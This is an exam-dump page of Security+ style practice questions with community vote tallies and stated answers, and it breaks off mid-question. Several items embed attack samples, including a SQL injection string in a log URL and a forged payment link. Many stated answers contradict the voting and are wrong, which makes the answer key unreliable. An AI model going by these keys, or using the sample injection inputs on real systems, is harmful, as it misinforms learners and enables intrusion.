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Question #1 Topic 1

A user is attempting to navigate to a website from inside the company network using a desktop. When the user types in the URL,
https://www.site.com, the user is presented with a certificate mismatch warning from the browser. The user does not receive a warning when
visiting http://www.anothersite.com. Which of the following describes this attack?

A. On-path

B. Domain hijacking

C. DNS poisoning Most Voted

D. Evil twin

Correct Answer: B

Community vote distribution

C (62%) B (26%) 10%

Question #2 Topic 1

Which of the following tools is effective in preventing a user from accessing unauthorized removable media?

A. USB data blocker Most Voted

B. Faraday cage

C. Proximity reader

D. Cable lock

Correct Answer: A

Community vote distribution

A (100%)

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Question #3 Topic 1

A Chief Security Officer is looking for a solution that can provide increased scalability and flexibility for back-end infrastructure, allowing it to be
updated and modified without disruption to services. The security architect would like the solution selected to reduce the back-end server
resources and has highlighted that session persistence is not important for the applications running on the back-end servers. Which of the
following would BEST meet the requirements?

A. Reverse proxy Most Voted

B. Automated patch management

C. Snapshots

D. NIC teaming

Correct Answer: C

Community vote distribution

A (92%) 8%

Question #4 Topic 1

Which of the following describes a social engineering technique that seeks to exploit a person's sense of urgency?

A. A phishing email stating a cash settlement has been awarded but will expire soon Most Voted

B. A smishing message stating a package is scheduled for pickup

C. A vishing call that requests a donation be made to a local charity

D. A SPIM notification claiming to be undercover law enforcement investigating a cybercrime

Correct Answer: C

Community vote distribution

A (92%) 7%

Question #5 Topic 1

A security analyst is reviewing application logs to determine the source of a breach and locates the following log:
https://www.comptia.com/login.php?id='%20or%20'1'1='1
Which of the following has been observed?

A. DLL Injection

B. API attack

C. SQLi Most Voted

D. XSS

Correct Answer: C

Community vote distribution

C (100%)

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Question #6 Topic 1

An audit identified PII being utilized in the development environment of a critical application. The Chief Privacy Officer (CPO) is adamant that this
data must be removed; however, the developers are concerned that without real data they cannot perform functionality tests and search for
specific data. Which of the following should a security professional implement to BEST satisfy both the CPO's and the development team's
requirements?

A. Data anonymization Most Voted

B. Data encryption

C. Data masking

D. Data tokenization

Correct Answer: A

Community vote distribution

A (53%) C (45%)

Question #7 Topic 1

A company is implementing a DLP solution on the file server. The file server has PII, financial information, and health information stored on it.
Depending on what type of data that is hosted on the file server, the company wants different DLP rules assigned to the data. Which of the
following should the company do to help accomplish this goal?

A. Classify the data. Most Voted

B. Mask the data.

C. Assign the application owner.

D. Perform a risk analysis.

Correct Answer: A

Community vote distribution

A (100%)

Question #8 Topic 1

A forensics investigator is examining a number of unauthorized payments that were reported on the company's website. Some unusual log entries
show users received an email for an unwanted mailing list and clicked on a link to attempt to unsubscribe. One of the users reported the email to
the phishing team, and the forwarded email revealed the link to be:
<a href="https://www.company.com/payto.do?routing=00001111&acct=22223334&amount=250">Click here to unsubscribe</a>
Which of the following will the forensics investigator MOST likely determine has occurred?

A. SQL injection

B. Broken authentication

C. XSS

D. XSRF Most Voted

Correct Answer: B

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D (94%) 6%

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Question #9 Topic 1

A report delivered to the Chief Information Security Officer (CISO) shows that some user credentials could be exfiltrated. The report also indicates
that users tend to choose the same credentials on different systems and applications. Which of the following policies should the CISO use to
prevent someone from using the exfiltrated credentials?

A. MFA Most Voted

B. Lockout

C. Time-based logins

D. Password history

Correct Answer: A

Community vote distribution

A (54%) D (46%)

Question #10 Topic 1

A company wants to simplify the certificate management process. The company has a single domain with several dozen subdomains, all of which
are publicly accessible on the internet. Which of the following BEST describes the type of certificate the company should implement?

A. Subject alternative name

B. Wildcard Most Voted

C. Self-signed

D. Domain validation

Correct Answer: B

Community vote distribution

B (90%) 8%

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Question #11 Topic 1

Which of the following is an effective tool to stop or prevent the exfiltration of data from a network?

A. DLP Most Voted

B. NIDS

C. TPM

D. FDE

Correct Answer: A

Community vote distribution

A (89%) 11%

Question #12 Topic 1

Several attempts have been made to pick the door lock of a secure facility. As a result, the security engineer has been assigned to implement a
stronger preventative access control. Which of the following would BEST complete the engineer's assignment?

A. Replacing the traditional key with an RFID key Most Voted

B. Installing and monitoring a camera facing the door

C. Setting motion-sensing lights to illuminate the door on activity

D. Surrounding the property with fencing and gates

Correct Answer: A

Community vote distribution

A (96%) 4%

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Question #13 Topic 1

Which of the following can be used by a monitoring tool to compare values and detect password leaks without providing the actual credentials?

A. Hashing Most Voted

B. Tokenization

C. Masking

D. Encryption

Correct Answer: A

Community vote distribution

A (100%)

Question #14 Topic 1

A security engineer is building a file transfer solution to send files to a business partner. The users would like to drop off the files in a specific
directory and have the server send the file to the business partner. The connection to the business partner is over the internet and needs to be
secure. Which of the following can be used?

A. S/MIME

B. LDAPS

C. SSH Most Voted

D. SRTP

Correct Answer: C

Community vote distribution

C (91%) 6%

Question #15 Topic 1

An administrator needs to protect user passwords and has been advised to hash the passwords. Which of the following BEST describes what the
administrator is being advised to do?

A. Perform a mathematical operation on the passwords that will convert them into unique strings. Most Voted

B. Add extra data to the passwords so their length is increased, making them harder to brute force.

C. Store all passwords in the system in a rainbow table that has a centralized location.

D. Enforce the use of one-time passwords that are changed for every login session.

Correct Answer: A

Community vote distribution

A (96%) 4%

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Question #16 Topic 1

Which of the following would be indicative of a hidden audio file found inside of a piece of source code?

A. Steganography Most Voted

B. Homomorphic encryption

C. Cipher suite

D. Blockchain

Correct Answer: A

Community vote distribution

A (100%)

Question #17 Topic 1

A user enters a username and a password at the login screen for a web portal. A few seconds later the following message appears on the screen:
Please use a combination of numbers, special characters, and letters in the password field.
Which of the following concepts does this message describe?

A. Password complexity Most Voted

B. Password reuse

C. Password history

D. Password age

Correct Answer: A

Community vote distribution

A (100%)

Question #18 Topic 1

A company recently experienced an inside attack using a corporate machine that resulted in data compromise. Analysis indicated an unauthorized
change to the software circumvented technological protection measures. The analyst was tasked with determining the best method to ensure the
integrity of the systems remains intact and local and remote boot attestation can take place. Which of the following would provide the BEST
solution?

A. HIPS

B. FIM

C. TPM Most Voted

D. DLP

Correct Answer: C

Community vote distribution

C (94%) 6%

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Question #19 Topic 1

Which of the following is a reason to publish files' hashes?

A. To validate the integrity of the files Most Voted

B. To verify if the software was digitally signed

C. To use the hash as a software activation key

D. To use the hash as a decryption passphrase

Correct Answer: A

Community vote distribution

A (100%)

Question #20 Topic 1

A security manager has tasked the security operations center with locating all web servers that respond to an unsecure protocol. Which of the
following commands could an analyst run to find the requested servers?

A. nslookup 10.10.10.0

B. nmap -p 80 10.10.10.0/24 Most Voted

C. pathping 10.10.10.0 -p 80

D. ne -l -p 80

Correct Answer: B

Community vote distribution

B (100%)

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Question #21 Topic 1

Which biometric error would allow an unauthorized user to access a system?

A. False acceptance Most Voted

B. False entrance

C. False rejection

D. False denial

Correct Answer: A

Community vote distribution

A (100%)

Question #22 Topic 1

A company is auditing the manner in which its European customers' personal information is handled. Which of the following should the company
consult?

A. GDPR Most Voted

B. ISO

C. NIST

D. PCI DSS

Correct Answer: A

Community vote distribution

A (100%)

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Question #23 Topic 1

Which of the following are common VoIP-associated vulnerabilities? (Choose two.)

A. SPIM

B. Vishing Most Voted Most Voted

C. Hopping Most Voted

D. Phishing

E. Credential harvesting Most Voted

F. Tailgating

Correct Answer: AB

Community vote distribution

BE (58%) AB (22%) BC (16%) 3%

Question #24 Topic 1

Which of the following describes the exploitation of an interactive process to gain access to restricted areas?

A. Persistence

B. Buffer overflow

C. Privilege escalation Most Voted

D. Pharming

Correct Answer: C

Community vote distribution

C (90%) 10%

Question #25 Topic 1

An organization is planning to open other data centers to sustain operations in the event of a natural disaster. Which of the following
considerations would BEST support the organization's resiliency?

A. Geographic dispersal Most Voted

B. Generator power

C. Fire suppression

D. Facility automation

Correct Answer: A

Community vote distribution

A (100%)

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Question #26 Topic 1

A security engineer is deploying a new wireless network for a company. The company shares office space with multiple tenants. Which of the
following should the engineer configure on the wireless network to ensure that confidential data is not exposed to unauthorized users?

A. EAP Most Voted

B. TLS

C. HTTPS

D. AES Most Voted

Correct Answer: D

Community vote distribution

D (53%) A (46%)

Question #27 Topic 1

The Chief Compliance Officer from a bank has approved a background check policy for all new hires. Which of the following is the policy MOST
likely protecting against?

A. Preventing any current employees' siblings from working at the bank to prevent nepotism

B. Hiring an employee who has been convicted of theft to adhere to industry compliance Most Voted

C. Filtering applicants who have added false information to resumes so they appear better qualified

D. Ensuring no new hires have worked at other banks that may be trying to steal customer information

Correct Answer: C

Community vote distribution

B (100%)

Question #28 Topic 1

An engineer recently deployed a group of 100 web servers in a cloud environment. Per the security policy, all web-server ports except 443 should
be disabled.
Which of the following can be used to accomplish this task?

A. Application allow list

B. SWG

C. Host-based firewall Most Voted

D. VPN

Correct Answer: B

Community vote distribution

C (66%) B (33%)

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Question #29 Topic 1

A technician was dispatched to complete repairs on a server in a data center. While locating the server, the technician entered a restricted area
without authorization. Which of the following security controls would BEST prevent this in the future?

A. Use appropriate signage to mark all areas.

B. Utilize cameras monitored by guards.

C. Implement access control vestibules. Most Voted

D. Enforce escorts to monitor all visitors.

Correct Answer: B

Community vote distribution

C (80%) D (17%)

Question #30 Topic 1

Which of the following would BEST provide a systems administrator with the ability to more efficiently identify systems and manage permissions
and policies based on location, role, and service level?

A. Standard naming conventions Most Voted

B. Domain services

C. Baseline configurations

D. Diagrams

Correct Answer: B

Community vote distribution

A (65%) B (35%)

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Question #31 Topic 1

Which of the following would detect intrusions at the perimeter of an airport?

A. Signage

B. Fencing

C. Motion sensors Most Voted

D. Lighting

E. Bollards

Correct Answer: E

Community vote distribution

C (95%) 3%

Question #32 Topic 1

A security analyst is concerned about critical vulnerabilities that have been detected on some applications running inside containers. Which of the
following is the
BEST remediation strategy?

A. Update the base container Image and redeploy the environment. Most Voted

B. Include the containers in the regular patching schedule for servers.

C. Patch each running container individually and test the application.

D. Update the host in which the containers are running.

Correct Answer: B

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Question #33 Topic 1

An organization has decided to purchase an insurance policy because a risk assessment determined that the cost to remediate the risk is greater
than the five- year cost of the insurance policy. The organization is enabling risk:

A. avoidance.

B. acceptance.

C. mitigation.

D. transference. Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #34 Topic 1

A security analyst receives an alert from the company's SIEM that anomalous activity is coming from a local source IP address of 192.168.34.26.
The Chief
Information Security Officer asks the analyst to block the originating source. Several days later, another employee opens an internal ticket stating
that vulnerability scans are no longer being performed properly. The IP address the employee provides is 192.168.34.26. Which of the following
describes this type of alert?

A. True negative

B. True positive

C. False positive Most Voted

D. False negative

Correct Answer: A

Community vote distribution

C (90%) 10%

Question #35 Topic 1

A security analyst wants to reference a standard to develop a risk management program. Which of the following is the BEST source for the analyst
to use?

A. SSAE SOC 2

B. ISO 31000 Most Voted

C. NIST CSF

D. GDPR

Correct Answer: C

Community vote distribution

B (88%) 12%

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Question #36 Topic 1

The Chief Information Security Officer (CISO) requested a report on potential areas of improvement following a security incident. Which of the
following incident response processes is the CISO requesting?

A. Lessons learned Most Voted

B. Preparation

C. Detection

D. Containment

E. Root cause analysis

Correct Answer: A

Community vote distribution

A (96%) 4%

Question #37 Topic 1

A company is providing security awareness training regarding the importance of not forwarding social media messages from unverified sources.
Which of the following risks would this training help to prevent?

A. Hoaxes Most Voted

B. SPIMs

C. Identity fraud

D. Credential harvesting

Correct Answer: A

Community vote distribution

A (76%) 14% 10%

Question #38 Topic 1

A security analyst is receiving numerous alerts reporting that the response time of an internet-facing application has been degraded. However, the
internal network performance was not degraded. Which of the following MOST likely explains this behavior?

A. DNS poisoning

B. MAC flooding

C. DDoS attack Most Voted

D. ARP poisoning

Correct Answer: C

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C (100%)

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Question #39 Topic 1

Which of the following will increase cryptographic security?

A. High data entropy Most Voted

B. Algorithms that require less computing power

C. Longer key longevity

D. Hashing

Correct Answer: A

Community vote distribution

A (99%)

Question #40 Topic 1

Which of the following statements BEST describes zero-day exploits?

A. When a zero-day exploit is discovered, the system cannot be protected by any means.

B. Zero-day exploits have their own scoring category in CVSS.

C. A zero-day exploit is initially undetectable, and no patch for it exists. Most Voted

D. Discovering zero-day exploits is always performed via bug bounty programs.

Correct Answer: C

Community vote distribution

C (100%)

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Question #41 Topic 1

A company wants to restrict emailing of PHI documents. The company is implementing a DLP solution. In order to restrict PHI documents, which
of the following should be performed FIRST?

A. Retention

B. Governance

C. Classification Most Voted

D. Change management

Correct Answer: C

Community vote distribution

C (100%)

Question #42 Topic 1

A security analyst is investigating some users who are being redirected to a fake website that resembles www.comptia.org. The following output
was found on the naming server of the organization:

Which of the following attacks has taken place?

A. Domain reputation

B. Domain hijacking

C. Disassociation

D. DNS poisoning Most Voted

Correct Answer: B

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D (100%)

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Question #43 Topic 1

Which of the following describes the continuous delivery software development methodology?

A. Waterfall

B. Spiral

C. V-shaped

D. Agile Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #44 Topic 1

Which of the following is the BEST example of a cost-effective physical control to enforce a USB removable media restriction policy?

A. Putting security/antitamper tape over USB ports, logging the port numbers, and regularly inspecting the ports Most Voted

B. Implementing a GPO that will restrict access to authorized USB removable media and regularly verifying that it is enforced Most Voted

C. Placing systems into locked, key-controlled containers with no access to the USB ports Most Voted

D. Installing an endpoint agent to detect connectivity of USB and removable media

Correct Answer: B

Community vote distribution

A (48%) B (41%) 11%

Question #45 Topic 1

A company suspects that some corporate accounts were compromised. The number of suspicious logins from locations not recognized by the
users is increasing.
Employees who travel need their accounts protected without the risk of blocking legitimate login requests that may be made over new sign-in
properties. Which of the following security controls can be implemented?

A. Enforce MFA when an account request reaches a risk threshold. Most Voted

B. Implement geofencing to only allow access from headquarters.

C. Enforce time-based login requests that align with business hours.

D. Shift the access control scheme to a discretionary access control.

Correct Answer: A

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Question #46 Topic 1

An organization wants to participate in threat intelligence information sharing with peer groups. Which of the following would MOST likely meet
the organization's requirement?

A. Perform OSINT investigations.

B. Subscribe to threat intelligence feeds.

C. Submit RFCs.

D. Implement a TAXII server. Most Voted

Correct Answer: D

Community vote distribution

D (94%) 6%

Question #47 Topic 1

Which of the following is the MOST effective control against zero-day vulnerabilities?

A. Network segmentation Most Voted

B. Patch management

C. Intrusion prevention system

D. Multiple vulnerability scanners

Correct Answer: C

Community vote distribution

A (64%) C (18%) B (18%)

Question #48 Topic 1

Which of the following is the GREATEST security concern when outsourcing code development to third-party contractors for an internet-facing
application?

A. Intellectual property theft

B. Elevated privileges

C. Unknown backdoor Most Voted

D. Quality assurance

Correct Answer: C

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C (91%) 9%

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Question #49 Topic 1

An organization has hired a red team to simulate attacks on its security posture. Which of the following will the blue team do after detecting an
IoC?

A. Reimage the impacted workstations.

B. Activate runbooks for incident response. Most Voted

C. Conduct forensics on the compromised system.

D. Conduct passive reconnaissance to gather information.

Correct Answer: C

Community vote distribution

B (91%) 9%

Question #50 Topic 1

An amusement park is implementing a biometric system that validates customers' fingerprints to ensure they are not sharing tickets. The park's
owner values customers above all and would prefer customers' convenience over security. For this reason, which of the following features should
the security team prioritize
FIRST?

A. Low FAR

B. Low efficacy

C. Low FRR Most Voted

D. Low CER

Correct Answer: C

Community vote distribution

C (100%)

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Question #51 Topic 1

Which of the following organizations sets frameworks and controls for optimal security configuration on systems?

A. ISO

B. GDPR

C. PCI DSS

D. NIST Most Voted

Correct Answer: D

Community vote distribution

D (84%) A (16%)

Question #52 Topic 1

An organization discovered files with proprietary financial data have been deleted. The files have been recovered from backup, but every time the
Chief Financial
Officer logs in to the file server, the same files are deleted again. No other users are experiencing this issue. Which of the following types of
malware is MOST likely causing this behavior?

A. Logic bomb Most Voted

B. Cryptomalware

C. Spyware

D. Remote access Trojan

Correct Answer: A

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Question #53 Topic 1

A security analyst has identified malware spreading through the corporate network and has activated the CSIRT. Which of the following should the
analyst do
NEXT?

A. Review how the malware was introduced to the network.

B. Attempt to quarantine all infected hosts to limit further spread. Most Voted

C. Create help desk tickets to get infected systems reimaged.

D. Update all endpoint antivirus solutions with the latest updates.

Correct Answer: B

Community vote distribution

B (97%)

Question #54 Topic 1

During an incident response, an analyst applied rules to all inbound traffic on the border firewall and implemented ACLs on each critical server.
Following an investigation, the company realizes it is still vulnerable because outbound traffic is not restricted, and the adversary is able to
maintain a presence in the network.
In which of the following stages of the Cyber Kill Chain is the adversary currently operating?

A. Reconnaissance

B. Command and control Most Voted

C. Actions on objective

D. Exploitation

Correct Answer: C

Community vote distribution

B (93%) 7%

Question #55 Topic 1

A recent security breach exploited software vulnerabilities in the firewall and within the network management solution. Which of the following will
MOST likely be used to identify when the breach occurred through each device?

A. SIEM correlation dashboards Most Voted

B. Firewall syslog event logs

C. Network management solution login audit logs

D. Bandwidth monitors and interface sensors

Correct Answer: A

Community vote distribution

A (100%)

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Question #56 Topic 1

Which of the following is the FIRST environment in which proper, secure coding should be practiced?

A. Stage

B. Development Most Voted

C. Production

D. Test

Correct Answer: A

Community vote distribution

B (86%) 10%

Question #57 Topic 1

A cloud service provider has created an environment where customers can connect existing local networks to the cloud for additional computing
resources and block internal HR applications from reaching the cloud. Which of the following cloud models is being used?

A. Public

B. Community

C. Hybrid Most Voted

D. Private Most Voted

Correct Answer: C

Community vote distribution

C (73%) D (23%) 4%

Question #58 Topic 1

An organization has developed an application that needs a patch to fix a critical vulnerability. In which of the following environments should the
patch be deployed
LAST?

A. Test

B. Staging

C. Development

D. Production Most Voted

Correct Answer: C

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Question #59 Topic 1

An organization is building backup server rooms in geographically diverse locations. The Chief Information Security Officer implemented a
requirement on the project that states the new hardware cannot be susceptible to the same vulnerabilities in the existing server room. Which of
the following should the systems engineer consider?

A. Purchasing hardware from different vendors Most Voted

B. Migrating workloads to public cloud infrastructure

C. Implementing a robust patch management solution

D. Designing new detective security controls

Correct Answer: B

Community vote distribution

A (82%) Other

Question #60 Topic 1

A security analyst is working on a project to implement a solution that monitors network communications and provides alerts when abnormal
behavior is detected.
Which of the following is the security analyst MOST likely implementing?

A. Vulnerability scans

B. User behavior analysis Most Voted

C. Security orchestration, automation, and response Most Voted

D. Threat hunting

Correct Answer: B

Community vote distribution

B (69%) C (30%)

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Question #61 Topic 1

Data exfiltration analysis indicates that an attacker managed to download system configuration notes from a web server. The web-server logs
have been deleted, but analysts have determined that the system configuration notes were stored in the database administrator's folder on the
web server. Which of the following attacks explains what occurred? (Choose two.)

A. Pass-the-hash

B. Directory traversal Most Voted

C. SQL injection

D. Privilege escalation Most Voted

E. Cross-site scripting

F. Request forgery

Correct Answer: BD

Community vote distribution

BD (88%) 9%

Question #62 Topic 1

A junior security analyst is conducting an analysis after passwords were changed on multiple accounts without users' interaction. The SIEM have
multiple login entries with the following text: suspicious event - user: scheduledtasks successfully authenticate on AD on abnormal time
suspicious event - user: scheduledtasks failed to execute c:\weekly_checkups\amazing-3rdparty-domain-assessment.py suspicious event - user:
scheduledtasks failed to execute c:\weekly_checkups\secureyourAD-3rdparty-compliance.sh suspicious event - user: scheduledtasks
successfully executed c:\weekly_checkups\amazing-3rdparty-domain-assessment.py
Which of the following is the MOST likely attack conducted on the environment?

A. Malicious script Most Voted

B. Privilege escalation Most Voted

C. Domain hijacking

D. DNS poisoning

Correct Answer: A

Community vote distribution

A (77%) B (21%)

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Question #63 Topic 1

A customer service representative reported an unusual text message that was sent to the help desk. The message contained an unrecognized
invoice number with a large balance due and a link to click for more details. Which of the following BEST describes this technique?

A. Vishing

B. Whaling

C. Phishing

D. Smishing Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #64 Topic 1

Which of the following actions would be recommended to improve an incident response process?

A. Train the team to identify the difference between events and incidents. Most Voted

B. Modify access so the IT team has full access to the compromised assets.

C. Contact the authorities if a cybercrime is suspected.

D. Restrict communication surrounding the response to the IT team.

Correct Answer: A

Community vote distribution

A (76%) B (24%)

Question #65 Topic 1

A cybersecurity administrator needs to implement a Layer 7 security control on a network and block potential attacks. Which of the following can
block an attack at
Layer 7? (Choose two.)

A. HIDS

B. NIPS Most Voted

C. HSM

D. WAF Most Voted

E. NAC

F. NIDS

Correct Answer: BD

Community vote distribution

BD (71%) DE (21%) 9%

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Question #66 Topic 1

A business operations manager is concerned that a PC that is critical to business operations will have a costly hardware failure soon. The
manager is looking for options to continue business operations without incurring large costs. Which of the following would mitigate the manager's
concerns?

A. Implement a full system upgrade.

B. Perform a physical-to-virtual migration. Most Voted

C. Install uninterruptible power supplies.

D. Purchase cybersecurity insurance.

Correct Answer: B

Community vote distribution

B (100%)

Question #67 Topic 1

An organization has activated an incident response plan due to a malware outbreak on its network. The organization has brought in a forensics
team that has identified an internet-facing Windows server as the likely point of initial compromise. The malware family that was detected is
known to be distributed by manually logging on to servers and running the malicious code. Which of the following actions would be BEST to
prevent reinfection from the infection vector?

A. Prevent connections over TFTP from the internal network.

B. Create a firewall rule that blocks a 22 from the internet to the server.

C. Disable file sharing over port 445 to the server.

D. Block port 3389 inbound from untrusted networks. Most Voted

Correct Answer: C

Community vote distribution

D (93%) 4%

Question #68 Topic 1

Which of the following uses SAML for authentication?

A. TOTP

B. Federation Most Voted

C. Kerberos

D. HOTP

Correct Answer: B

Community vote distribution

B (100%)

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Question #69 Topic 1

The SOC for a large MSSP is meeting to discuss the lessons learned from a recent incident that took much too long to resolve. This type of
incident has become more common in recent weeks and is consuming large amounts of the analysts' time due to manual tasks being performed.
Which of the following solutions should the SOC consider to BEST improve its response time?

A. Configure a NIDS appliance using a Switched Port Analyzer.

B. Collect OSINT and catalog the artifacts in a central repository.

C. Implement a SOAR with customizable playbooks. Most Voted

D. Install a SIEM with community-driven threat intelligence.

Correct Answer: C

Community vote distribution

C (100%)

Question #70 Topic 1

Business partners are working on a security mechanism to validate transactions securely. The requirement is for one company to be responsible
for deploying a trusted solution that will register and issue artifacts used to sign, encrypt, and decrypt transaction files. Which of the following is
the BEST solution to adopt?

A. PKI Most Voted

B. Blockchain

C. SAML

D. OAuth

Correct Answer: A

Community vote distribution

A (85%) B (15%)

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Question #71 Topic 1

A security analyst has been asked by the Chief Information Security Officer to:
✑ develop a secure method of providing centralized management of infrastructure
✑ reduce the need to constantly replace aging end user machines
✑ provide a consistent user desktop experience
Which of the following BEST meets these requirements?

A. BYOD

B. Mobile device management

C. VDI Most Voted

D. Containerization

Correct Answer: C

Community vote distribution

C (100%)

Question #72 Topic 1

Which of the following terms describes a broad range of information that is sensitive to a specific organization?

A. Public

B. Top secret

C. Proprietary Most Voted

D. Open-source

Correct Answer: C

Community vote distribution

C (100%)

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Question #73 Topic 1

A Chief Security Officer (CSO) is concerned that cloud-based services are not adequately protected from advanced threats and malware. The CSO
believes there is a high risk that a data breach could occur in the near future due to the lack of detective and preventive controls. Which of the
following should be implemented to BEST address the CSO's concerns? (Choose two.)

A. A WAF

B. A CASB Most Voted

C. An NG-SWG Most Voted

D. Segmentation

E. Encryption

F. Containerization

Correct Answer: CD

Community vote distribution

BC (93%) 5%

Question #74 Topic 1

An organization is planning to roll out a new mobile device policy and issue each employee a new laptop. These laptops would access the users'
corporate operating system remotely and allow them to use the laptops for purposes outside of their job roles. Which of the following deployment
models is being utilized?

A. MDM and application management

B. BYOD and containers

C. COPE and VDI Most Voted

D. CYOD and VMs

Correct Answer: B

Community vote distribution

C (92%) 5%

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Question #75 Topic 1

Certain users are reporting their accounts are being used to send unauthorized emails and conduct suspicious activities. After further
investigation, a security analyst notices the following:
✑ All users share workstations throughout the day.
✑ Endpoint protection was disabled on several workstations throughout the network.
✑ Travel times on logins from the affected users are impossible.
✑ Sensitive data is being uploaded to external sites.
All user account passwords were forced to be reset and the issue continued.

Which of the following attacks is being used to compromise the user accounts?

A. Brute-force

B. Keylogger Most Voted

C. Dictionary

D. Rainbow

Correct Answer: B

Community vote distribution

B (100%)

Question #76 Topic 1

A security forensics analyst is examining a virtual server. The analyst wants to preserve the present state of the virtual server, including memory
contents. Which of the following backup types should be used?

A. Snapshot Most Voted

B. Differential

C. Cloud

D. Full

E. Incremental

Correct Answer: A

Community vote distribution

A (96%) 4%

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Question #77 Topic 1

After returning from a conference, a user's laptop has been operating slower than normal and overheating, and the fans have been running
constantly. During the diagnosis process, an unknown piece of hardware is found connected to the laptop's motherboard. Which of the following
attack vectors was exploited to install the hardware?

A. Removable media

B. Spear phishing

C. Supply chain

D. Direct access Most Voted

Correct Answer: A

Community vote distribution

D (71%) A (19%) 10%

Question #78 Topic 1

After a recent security breach, a security analyst reports that several administrative usernames and passwords are being sent via cleartext across
the network to access network devices over port 23. Which of the following should be implemented so all credentials sent over the network are
encrypted when remotely accessing and configuring network devices?

A. SSH Most Voted

B. SNMPv3

C. SFTP

D. Telnet

E. FTP

Correct Answer: A

Community vote distribution

A (100%)

Question #79 Topic 1

Which of the following provides a calculated value for known vulnerabilities so organizations can prioritize mitigation steps?

A. CVSS Most Voted

B. SIEM

C. SOAR

D. CVE

Correct Answer: A

Community vote distribution

A (100%)

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Question #80 Topic 1

Several universities are participating in a collaborative research project and need to share compute and storage resources. Which of the following
cloud deployment strategies would BEST meet this need?

A. Community Most Voted

B. Private

C. Public

D. Hybrid

Correct Answer: A

Community vote distribution

A (92%) 8%

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Question #81 Topic 1

A forensic analyst needs to prove that data has not been tampered with since it was collected. Which of the following methods will the analyst
MOST likely use?

A. Look for tampering on the evidence collection bag.

B. Encrypt the collected data using asymmetric encryption.

C. Ensure proper procedures for chain of custody are being followed. Most Voted

D. Calculate the checksum using a hashing algorithm. Most Voted

Correct Answer: D

Community vote distribution

D (61%) C (39%)

Question #82 Topic 1

Multiple business accounts were compromised a few days after a public website had its credentials database leaked on the Internet. No business
emails were identified in the breach, but the security team thinks that the list of passwords exposed was later used to compromise business
accounts. Which of the following would mitigate the issue?

A. Complexity requirements

B. Password history Most Voted

C. Acceptable use policy

D. Shared accounts

Correct Answer: B

Community vote distribution

B (66%) C (18%) A (16%)

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Question #83 Topic 1

A security analyst wants to fingerprint a web server. Which of the following tools will the security analyst MOST likely use to accomplish this task?

A. nmap -pl-65535 192.168.0.10

B. dig 192.168.0.10

C. curl --head http://192.168.0.10 Most Voted

D. ping 192.168.0.10

Correct Answer: C

Community vote distribution

C (69%) A (31%)

Question #84 Topic 1

A penetration tester was able to compromise an internal server and is now trying to pivot the current session in a network lateral movement.
Which of the following tools, if available on the server, will provide the MOST useful information for the next assessment step?

A. Autopsy

B. Cuckoo

C. Memdump

D. Nmap Most Voted

Correct Answer: A

Community vote distribution

D (93%) 5%

Question #85 Topic 1

Field workers in an organization are issued mobile phones on a daily basis. All the work is performed within one city, and the mobile phones are
not used for any purpose other than work. The organization does not want these phones used for personal purposes. The organization would like
to issue the phones to workers as permanent devices so the phones do not need to be reissued every day. Given the conditions described, which
of the following technologies would BEST meet these requirements?

A. Geofencing

B. Mobile device management Most Voted

C. Containerization

D. Remote wiping

Correct Answer: B

Community vote distribution

B (95%) 5%

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Question #86 Topic 1

Which of the following control types is focused primarily on reducing risk before an incident occurs?

A. Preventive Most Voted

B. Deterrent

C. Corrective

D. Detective

Correct Answer: A

Community vote distribution

A (89%) 11%

Question #87 Topic 1

A systems administrator reports degraded performance on a virtual server. The administrator increases the virtual memory allocation, which
improves conditions, but performance degrades again after a few days. The administrator runs an analysis tool and sees the following output:
==3214== timeAttend.exe analyzed
==3214== ERROR SUMMARY:
==3214== malloc/free: in use at exit: 4608 bytes in 18 blocks.
==3214== checked 82116 bytes
==3214== definitely lost: 4608 bytes in 18 blocks.
The administrator terminates the timeAttend.exe, observes system performance over the next few days, and notices that the system performance
does not degrade. Which of the following issues is MOST likely occurring?

A. DLL injection

B. API attack

C. Buffer overflow

D. Memory leak Most Voted

Correct Answer: D

Community vote distribution

D (100%)

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Question #88 Topic 1

An administrator is experiencing issues when trying to upload a support file to a vendor. A pop-up message reveals that a payment card number
was found in the file, and the file upload was blocked. Which of the following controls is most likely causing this issue and should be checked
FIRST?

A. DLP Most Voted

B. Firewall rule

C. Content filter

D. MDM

E. Application allow list

Correct Answer: A

Community vote distribution

A (100%)

Question #89 Topic 1

Which of the following risk management strategies would an organization use to maintain a legacy system with known risks for operational
purposes?

A. Acceptance Most Voted

B. Transference

C. Avoidance

D. Mitigation

Correct Answer: A

Community vote distribution

A (69%) D (31%)

Question #90 Topic 1

Which of the following is the BEST action to foster a consistent and auditable incident response process?

A. Incent new hires to constantly update the document with external knowledge.

B. Publish the document in a central repository that is easily accessible to the organization. Most Voted

C. Restrict eligibility to comment on the process to subject matter experts of each IT silo.

D. Rotate CIRT members to foster a shared responsibility model in the organization. Most Voted

Correct Answer: D

Community vote distribution

B (72%) D (28%)

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Question #91 Topic 1

During a recent penetration test, the tester discovers large amounts of data were exfiltrated over the course of 12 months via the internet. The
penetration tester stops the test to inform the client of the findings. Which of the following should be the client's NEXT step to mitigate the issue?

A. Conduct a full vulnerability scan to identify possible vulnerabilities.

B. Perform containment on the critical servers and resources. Most Voted

C. Review the firewall and identify the source of the active connection.

D. Disconnect the entire infrastructure from the internet.

Correct Answer: B

Community vote distribution

B (94%) 4%

Question #92 Topic 1

A security analyst is designing the appropriate controls to limit unauthorized access to a physical site. The analyst has a directive to utilize the
lowest possible budget. Which of the following would BEST meet the requirements?

A. Preventive controls

B. Compensating controls

C. Deterrent controls Most Voted

D. Detective controls

Correct Answer: D

Community vote distribution

C (97%)

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Question #93 Topic 1

A company is looking to migrate some servers to the cloud to minimize its technology footprint. The company has 100 databases that are on
premises. Which of the following solutions will require the LEAST management and support from the company?

A. SaaS Most Voted

B. IaaS

C. PaaS Most Voted

D. SDN

Correct Answer: A

Community vote distribution

A (65%) C (32%)

Question #94 Topic 1

Which of the following employee roles is responsible for protecting an organization's collected personal information?

A. CTO

B. DPO Most Voted

C. CEO

D. DBA

Correct Answer: B

Community vote distribution

B (100%)

Question #95 Topic 1

Against the recommendation of the IT security analyst, a company set all user passwords on a server as `P@55w0rD`. Upon review of the
/etc/passwd file, an attacker found the following: alice:a8df3b6c4fd75f0617431fd248f35191df8d237f
bob:2d250c5b2976b03d757f324ebd59340df96aa05e chris:ea981ec3285421d014108089f3f3f997ce0f4150
Which of the following BEST explains why the encrypted passwords do not match?

